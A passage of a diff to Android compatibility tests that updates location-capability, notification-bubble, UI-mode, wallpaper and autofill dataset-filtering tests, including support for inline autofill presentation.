+                    new Integer(PROCESS_CAPABILITY_NONE));
             // stop FGSL
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -111,7 +107,7 @@
             // Package1 is in STATE_FG_SERVICE, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             // stop FGSL.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -170,7 +166,7 @@
             // Package2 won't have location capability because package1 is not in TOP state.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
@@ -246,7 +242,7 @@
             // Package2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             // Stop FGSL in package2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -274,7 +270,7 @@
             // Package2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+                    new Integer(PROCESS_CAPABILITY_NONE));
             waiter.doWait(WAITFOR_MSEC);
             // stop FGSL in package2.
             CommandReceiver.sendCommand(mContext,
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 572f9e7..a966d2b 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1465,7 +1465,7 @@
 
     public void testCanBubble_ranking() throws Exception {
         if ((mActivityManager.isLowRamDevice() && !FeatureUtil.isWatch())
-                || FeatureUtil.isAutomotive()) {
+                || FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
             return;
         }
 
@@ -2876,8 +2876,8 @@
 
     public void testNotificationManagerBubblePolicy_flag_intentBubble()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -2896,8 +2896,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_service()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2922,8 +2922,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_phonecall()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2948,8 +2948,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_noFlag_foreground() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -2975,8 +2975,8 @@
 
     public void testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3016,8 +3016,8 @@
 
     public void testNotificationManagerBubblePolicy_flag_shortcutBubble()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3041,8 +3041,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_invalidShortcut()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3066,8 +3066,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_invalidNotif()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3089,8 +3089,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_globalOn() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3112,8 +3112,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_globalOff() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3134,8 +3134,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appAll_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3156,8 +3156,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appSelected_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3178,8 +3178,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appSelected_channelYes() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3201,8 +3201,8 @@
     }
 
     public void testNotificationManagerBubblePolicy_appNone_channelNo() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
@@ -3224,8 +3224,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_shortcutRemoved()
             throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
 
@@ -3251,8 +3251,8 @@
     }
 
     public void testNotificationManagerBubbleNotificationSuppression() throws Exception {
-        if (FeatureUtil.isAutomotive()) {
-            // Automotive does not support notification bubbles.
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+            // These do not support bubbles.
             return;
         }
         try {
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 1d443f6..e877350 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -124,6 +124,10 @@
     }
 
     public void testNightModeAutoNotPersistedCarMode() {
+        if (mUiModeManager.isNightModeLocked()) {
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
         mUiModeManager.enableCarMode(0);
@@ -222,6 +226,9 @@
      * while specifying a priority.
      */
     public void testEnterCarModePrioritized() {
+        if (mUiModeManager.isUiModeLocked()) {
+            return;
+        }
         // Adopt shell permission so the required permission
         // (android.permission.ENTER_CAR_MODE_PRIORITIZED) is granted.
         UiAutomation ui = getInstrumentation().getUiAutomation();
@@ -243,6 +250,9 @@
      * permission to use that API.
      */
     public void testEnterCarModePrioritizedDenied() {
+        if (mUiModeManager.isUiModeLocked()) {
+            return;
+        }
         try {
             mUiModeManager.enableCarMode(100, 0);
         } catch (SecurityException se) {
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 5b0f9a1..b80b2dc 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -78,10 +78,11 @@
 
     @Before
     public void setUp() throws Exception {
-        MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
         assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
+
+        MockitoAnnotations.initMocks(this);
         final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
         handlerThread.start();
         mHandler = new Handler(handlerThread.getLooper());
@@ -102,7 +103,9 @@
 
     @After
     public void tearDown() throws Exception {
-        mContext.unregisterReceiver(mBroadcastReceiver);
+        if (mBroadcastReceiver != null) {
+            mContext.unregisterReceiver(mBroadcastReceiver);
+        }
     }
 
     @Test
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index cd52ef5..d4d5459 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -22,6 +22,7 @@
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
     <application>
 
@@ -135,6 +136,7 @@
         </activity>
         <activity android:name=".SimpleAfterLoginActivity" />
         <activity android:name=".SimpleBeforeLoginActivity" />
+        <activity android:name=".NonAutofillableActivity" />
 
         <receiver android:name=".SelfDestructReceiver"
             android:exported="true"
diff --git a/tests/autofillservice/res/layout/non_autofillable_activity.xml b/tests/autofillservice/res/layout/non_autofillable_activity.xml
new file mode 100644
index 0000000..b0d4f4d
--- /dev/null
+++ b/tests/autofillservice/res/layout/non_autofillable_activity.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              xmlns:tools="http://schemas.android.com/tools"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:focusable="true"
+              android:focusableInTouchMode="true"
+              android:orientation="vertical" >
+
+    <LinearLayout
+        android:id="@+id/username_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/username_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Username" />
+
+        <EditText
+            android:id="@+id/username"
+            android:layout_width="match_parent"
+            android:importantForAutofill="no"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
index edd270b..ce11da8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewActivity.java
@@ -22,10 +22,10 @@
 
 abstract class AbstractWebViewActivity extends AbstractAutoFillActivity {
 
-    static final String FAKE_DOMAIN = "y.u.no.real.server";
+    public static final String FAKE_DOMAIN = "y.u.no.real.server";
 
-    static final String HTML_NAME_USERNAME = "username";
-    static final String HTML_NAME_PASSWORD = "password";
+    public static final String HTML_NAME_USERNAME = "username";
+    public static final String HTML_NAME_PASSWORD = "password";
 
     protected MyWebView mWebView;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
index 7e290be..c189d85 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractWebViewTestCase.java
@@ -18,9 +18,16 @@
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
-abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
+public abstract class AbstractWebViewTestCase<A extends AbstractWebViewActivity>
         extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
 
+    protected AbstractWebViewTestCase() {
+    }
+
+    protected AbstractWebViewTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
     // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
     // set using accessibility.
     protected static final boolean INJECT_EVENTS = true;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 7320200..3fd6ce6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -305,7 +305,8 @@
         NULL,
         NO_MORE,
         TIMEOUT,
-        FAILURE
+        FAILURE,
+        DELAY
     }
 
     public static final class Builder {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
new file mode 100644
index 0000000..3839d63
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringDropdownTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+public class DatasetFilteringDropdownTest extends DatasetFilteringTest {
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 10df1cd..6893090 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -32,31 +32,34 @@
 import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
 import android.view.KeyEvent;
-import android.view.View;
 import android.widget.EditText;
 
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.MockImeSession;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 import java.util.regex.Pattern;
 
-public class DatasetFilteringTest extends AbstractLoginActivityTestCase {
+public abstract class DatasetFilteringTest extends AbstractLoginActivityTestCase {
 
-    @BeforeClass
-    public static void setMaxDatasets() throws Exception {
-        Helper.setMaxVisibleDatasets(4);
+    protected DatasetFilteringTest() {
     }
 
-    @AfterClass
-    public static void restoreMaxDatasets() throws Exception {
-        Helper.setMaxVisibleDatasets(0);
+    protected DatasetFilteringTest(UiBot inlineUiBot) {
+        super(inlineUiBot);
     }
 
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
+                        .around(super.getMainTestRule());
+    }
+
+
     private void changeUsername(CharSequence username) {
         mActivity.onUsername((v) -> v.setText(username));
     }
@@ -74,20 +77,21 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -101,19 +105,19 @@
         changeUsername("aa");
         mUiBot.assertDatasets(aa);
 
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
         // No dataset start with 'aaa'
         final MyAutofillCallback callback = mActivity.registerCallback();
         changeUsername("aaa");
         callback.assertUiHiddenEvent(mActivity.getUsername());
         mUiBot.assertNoDatasets();
+
+        // Delete some text to bring back 2 datasets
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown again
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
     }
 
     @Test
@@ -128,20 +132,21 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -187,22 +192,23 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
         final ImeEventStream stream = mockImeSession.openEventStream();
 
         // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
 
         // Wait until the MockIme gets bound to the TestActivity.
         expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
@@ -255,20 +261,21 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, (String) null)
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -308,20 +315,21 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, a)
-                        .setPresentation(createPresentation(a))
+                        .setPresentation(a, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, b)
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, c)
-                        .setPresentation(createPresentation(c))
+                        .setPresentation(c, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -334,7 +342,9 @@
         mUiBot.assertDatasets(b);
 
         changeUsername("c");
-        mUiBot.assertDatasets(c);
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(c);
+        }
     }
 
     @Test
@@ -351,20 +361,22 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever", createPresentation(ab),
+                        .setField(ID_USERNAME, "whatsoever",
                                 Pattern.compile("a|ab"))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -408,22 +420,24 @@
                 // This dataset has a value but filter is disabled
                 .addDataset(new CannedDataset.Builder()
                         .setUnfilterableField(ID_USERNAME, "a am I")
-                        .setPresentation(createPresentation(unfilterable))
+                        .setPresentation(unfilterable, isInlineMode())
                         .build())
                 // This dataset uses pattern to filter
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "whatsoever", createPresentation(aOrW),
+                        .setField(ID_USERNAME, "whatsoever",
                                 Pattern.compile("a|aw"))
+                        .setPresentation(aOrW, isInlineMode())
                         .build())
                 // This dataset uses value to filter
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "wazzup")
-                        .setPresentation(createPresentation(w))
+                        .setPresentation(w, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -447,7 +461,9 @@
 
         // Only one datasets start with 'w'
         changeUsername("w");
-        mUiBot.assertDatasets(w);
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(w);
+        }
 
         // No dataset start with 'aaa'
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -475,25 +491,27 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aword")
-                        .setPresentation(createPresentation(plain))
+                        .setPresentation(plain, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(createPresentation(regexPlain))
+                        .setPresentation(regexPlain, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab ignore", everything)
                         .setAuthentication(authentication)
-                        .setPresentation(createPresentation(authRegex))
+                        .setPresentation(authRegex, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", createPresentation(kitchnSync),
+                        .setField(ID_USERNAME, "ab ignore",
                                 everything)
+                        .setPresentation(kitchnSync, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -527,25 +545,27 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aword")
-                        .setPresentation(createPresentation(plain))
+                        .setPresentation(plain, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "a ignore", everything)
-                        .setPresentation(createPresentation(regexPlain))
+                        .setPresentation(regexPlain, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab ignore", everything)
                         .setAuthentication(authentication)
-                        .setPresentation(createPresentation(authRegex))
+                        .setPresentation(authRegex, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab ignore", createPresentation(kitchnSync),
+                        .setField(ID_USERNAME, "ab ignore",
                                 everything)
+                        .setPresentation(kitchnSync, isInlineMode())
                         .build())
                 .build());
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
         // With no filter text all datasets should be shown
@@ -578,6 +598,7 @@
         resetFilterTest(3);
     }
 
+    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
     private void resetFilterTest(int number) throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
@@ -589,15 +610,15 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
+                        .setPresentation(aa, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
+                        .setPresentation(ab, isInlineMode())
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
+                        .setPresentation(b, isInlineMode())
                         .build())
                 .build());
 
@@ -623,7 +644,7 @@
         final EditText username = mActivity.getUsername();
 
         // Trigger auto-fill.
-        requestFocusOnUsername();
+        mUiBot.selectByRelativeId(ID_USERNAME);
         callback.assertUiShownEvent(username);
 
         sReplier.getNextFillRequest();
@@ -631,32 +652,6 @@
         // With no filter text all datasets should be shown
         mUiBot.assertDatasets(aa, ab, b);
 
-        // Only two datasets start with 'a'
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // One dataset starts with 'aa'
-        changeUsername("aa");
-        mUiBot.assertDatasets(aa);
-
-        // Filter all out
-        changeUsername("aaa");
-        callback.assertUiHiddenEvent(username);
-        mUiBot.assertNoDatasets();
-
-        // Now delete the char and assert aa is showing again
-        changeUsername("aa");
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets(aa);
-
-        // Delete one more and assert two datasets showing
-        changeUsername("a");
-        mUiBot.assertDatasets(aa, ab);
-
-        // Reset back to all choices
-        changeUsername("");
-        mUiBot.assertDatasets(aa, ab, b);
-
         // select the choice
         mUiBot.selectDataset(chosenOne);
         callback.assertUiHiddenEvent(username);
@@ -664,5 +659,13 @@
 
         // Check the results.
         mActivity.assertAutoFilled();
+
+        // Change the filled text and check that filtering still works.
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Reset back to all choices
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index 2854b4c..f86c752 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -202,10 +202,10 @@
         sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
 
         // Trigger autofill for the first time.
-        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
 
         // Launch activity again.
-        passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
 
         // Wait for the timeout, then try again, autofilling it this time.
         sleep(passedTime, duration);
